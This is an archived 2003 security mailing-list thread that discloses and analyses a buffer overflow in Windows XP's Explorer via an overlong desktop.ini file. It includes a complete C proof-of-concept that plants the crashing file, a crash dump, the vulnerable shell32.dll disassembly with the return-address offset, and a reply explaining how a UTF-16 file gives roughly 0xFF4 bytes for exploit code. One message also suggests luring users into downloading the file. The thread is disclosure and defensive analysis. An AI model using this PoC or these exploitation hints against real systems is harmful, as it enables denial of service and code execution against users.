Hello, > Due to the size limitation set by the 800H as well as the fact that the > overflowing string is converted to Unicode, the chance for executing a > malicious code (Unicode exploit code as well as exploitable RET address) is > very limited. That is the reason we are documenting it in details here. I could create the exploit code on my Japanese Windows XP SP1. Perhaps, I think you can easily create the full exploit code by the following; * You can directly specify all overwritten data without thinking the UNICODE conversion if you create the "desktop.ini" as "UTF-16". (Adding BOM and encoding "[.ShellClassInfo]\x0d\x0a".) * You can get the code area of about 0xFF4 bytes. (Before and after RET address) Best Regards. --------------------------------- nesumin <nesuminat_private> -----Original Message----- From: "Executable Security" <exurityat_private> Sent: Sun, 11 May 2003 03:28:54 -0500 To: <bugtraqat_private> Subject: Detailed analysis: Buffer overflow in Explorer.exe on Windows XP SP1 > Hi, there: > > We were able to duplicate what was reported by Kristopher Matthews and aT4r > InsaN3. Actually, if you have the following test scenario: > > File/Dir Explanation > C:\ > C:\temp\desktop.ini Overflowing text file > C:\test directory > > The c:\temp\desktop.ini is the buffer-overflowing text file. Then, it > crashes not only Explorer.exe, but also Internet Explorer.exe, and > application programs (it crashed UltraEdit) that use file-open dialog box > trying to scan the c:\ hard drive. However, you can do the following safely > from a DOS prompt for the directory c:\test > > Explorer c:\test > > Of course, you cannot browse C:\test from the Explorer.exe GUI starting with > C:\ root directory because of the overflowing c:\temp\desktop.ini file. > Actually, I assume the overflowing file, no matter where it is located in > the subdirectory, will crash the Explorer.exe starting with any directory > higher above the overflowing desktop.ini file. (did not fully test though). > > Down to the assembly level, this bug lies in the shell32.dll file as such: > > 7740F3C3 lea eax, [ebp-21Ch] ; full path to the > filename \desktop.in > 7740F3C9 push eax > 7740F3CA push 800h ; should be 400h I believe > 7740F3CF lea eax, [ebp-0A1Ch] > 7740F3D5 push eax > 7740F3D6 push offset a_shellclassinf ; ".ShellClassInfo" > 7740F3DB call ds:GetPrivateProfileSectionW > > When GetPrivateProfileSectionW is called, it assumes the buffer to be as > large as two times of 800h. As you can see, the local buffer is only A1C - > 21C = 800H for this string. So, it overflows if the desktop.ini contains a > long string. MSDN documents the third parameter for GetPrivateProfileSection > as such: > > nSize > Specifies the size, in characters, of the buffer pointed to by the > lpReturnedString parameter. > > To be precise, the buffer overflowing structure for this bug is such: > > | --------------------- A1C ---------| EBP | RET | -----------------> higher > address > > The replaceable RET address is located at (A1C+4)/2 = 510. > > Due to the size limitation set by the 800H as well as the fact that the > overflowing string is converted to Unicode, the chance for executing a > malicious code (Unicode exploit code as well as exploitable RET address) is > very limited. That is the reason we are documenting it in details here. > > We do not know how this bug affects shell32.dll files on other Windows > versions. > > With due credits to those who wrote the emails quoted below. > > Peter Huang > http://members.rogers.com/exurity/ > > -----Original Message----- > From: Kristopher Matthews [mailto:krismat_private] > Sent: Friday, May 09, 2003 11:43 AM > To: 'Ryan Yagatich' > Cc: vuln-devat_private > Subject: RE: Buffer overflow in Explorer.exe > > I have tested and duplicated this behavior on a fully patched/updated > Windows XP Pro system. > > 1. The overflow is for that particular key, AFAICT. > 1a. It will not work for the root (c:/) directory; explorer.exe does not > parse 'desktop.ini' for that directory. It will, however, work for any other > directory. > 2. It crashes explorer.exe (which runs the task bar/start menu, etc) - It > looks for all the world like a standard buffer overflow; I believe a more > carefully crafted 'desktop.ini' file could be cause for explorer.exe to > unintentionally execute arbitrary code. > 3. Download and execute untrusted code? Combine this with any of the other > popular expoloits for windows; also, it wouldn't be terribly hard to get a > user to download a 'desktop.ini' file to their "My Documents" directory (in > the guise, of, say, a folder them, which windows does support; e.g. > different background, file layout, etc); bam, whenever they open that > directory, explorer crashes. > > Regards, > Kristopher > > > -----Original Message----- > From: Ryan Yagatich [mailto:ryanyat_private] > Sent: Thursday, May 08, 2003 6:28 PM > To: at4rat_private > Cc: vuln-devat_private > > Hi, > I don't quite understand the purpose behind this code. It creates > a read only file '/aT4r[at]3WDesign.es Security/desktop.ini' with the > contents of > > [.ShellClassInfo] > AAAAAAAAAAAA {x2301} > > > And then terminates? I don't have a windows machine available to > really explore this any, but what makes that entry in desktop.ini cause > this? Furthermore, is this issue only for that particular key or is it > generally just key/excessive parameter/missing value size that is > affected? And additionally, you mention that explorer will no longer be > able to operate when trying to browse the hard disk, but does this mean > globally, or when they try to browse the c:/ drive, or just that > particular folder? > Please send me more information about this, (even if it references > past posts that I have missed) so that I can better understand the > severity of this. Espcially since to me, I still see it as someone needing > to download and execute untrusted software which causes a system crash, > and if that were going to happen there are far worse things that can be > done besides creating a small text file. > > Thanks, > Ryan Yagatich > > > ,_____________________________________________________, > \ Ryan Yagatich supportat_private \ > / Pantek Incorporated (877) LINUX-FIX / > \ http://www.pantek.com/security (440) 519-1802 \ > / Are your networks secure? Are you certain? / > \___E8354282324E636DB5FF7B8A6EDED51FD02C06C68D3DB695___\ > > On Wed, 7 May 2003, aT4r InsaN3 wrote: > > >This bug allow a malicious an attacker to execute data with privileges of a > > >user that is browsing the hard disk with explorer. > > > >tested against winxp SP1 > > > >example code provided. > > > <snip> > > > > strcpy(path,"\\aT4r[at]3WDesign.es Security"); > > mkdir(path); > > SetFileAttributes(path,FILE_ATTRIBUTE_READONLY); > > > > strcat(path,"\\desktop.ini"); > > > bof=fopen(path,"w"); > > fputs("[.ShellClassInfo]\n",bof); > > memset(evil,'A',BUFF); > > fputs(evil,bof); > > fclose(bof); > <snip> > > -----Original Message----- > From: aT4r InsaN3 [mailto:at4rat_private] > Sent: Wednesday, May 07, 2003 3:54 PM > To: vuln-devat_private > Subject: Buffer overflow in Explorer.exe > > This bug allow a malicious an attacker to execute data with privileges of a > user that is browsing the hard disk with explorer. > > tested against winxp SP1 > > example code provided. > > > /* > > Buffer Overflow in explorer.exe - Proof of Concept > Tested only against: Windows XP SP1 > > Found by aT4rat_private > > Saludos a: > - #Haxorcitos@efnet= { "Tarako", "Croulder", "Drakar" , "[back]", > "tyr" }: > - #localhost and #darknet > > > Usage: just execute this file. > This code will crash your explorer every time you try to > browse your > harddisk > execute this program again to delete the evil file ;-) > > (3ec.464): Access violation - code c0000005 (first chance) > First chance exceptions are reported before any exception handling. > This exception may be expected and handled. > eax=00410041 ebx=0012aca8 ecx=77e5e1c4 edx=002f0000 esi=00121b70 > edi=000ece90 > eip=00410041 esp=0177dfb0 ebp=00410041 iopl=0 nv up ei pl zr > na po > nc > cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 > efl=00010246 > 00410041 ?? ??? > > 3W Design Security 2003. http://www.3WDesign.es/ > */ > > > #include <direct.h> > #include <stdio.h> > #include <windows.h> > #include <sys/stat.h> > > #define BUFF 2300 > void main(){ > > char path[256]; > char evil[BUFF+1]=""; > FILE *bof; > struct stat st; > printf("\n . .. ...: \tBuffer overflow in explorer.exe\t\t:... .. > .\n . .. > ...: \tProof of Concept (aT4rat_private)\t:... .. .\n\n"); > strcpy(path,"\\aT4r[at]3WDesign.es Security"); > mkdir(path); > SetFileAttributes(path,FILE_ATTRIBUTE_READONLY); > > strcat(path,"\\desktop.ini"); > if (stat(path,&st)==0) > { remove(path); exit(1);}//just execute this program twice > to remote this > file :P > bof=fopen(path,"w"); > fputs("[.ShellClassInfo]\n",bof); > memset(evil,'A',BUFF); > fputs(evil,bof); > fclose(bof); > printf("evil file: %s Created. Try to browse your Harddisk > O:-)\n",path); > > > } > > _________________________________________________________________ > Hipotecas para todos los bolsillos con MSN Money. > http://money.msn.es/hipotecas/default.asp
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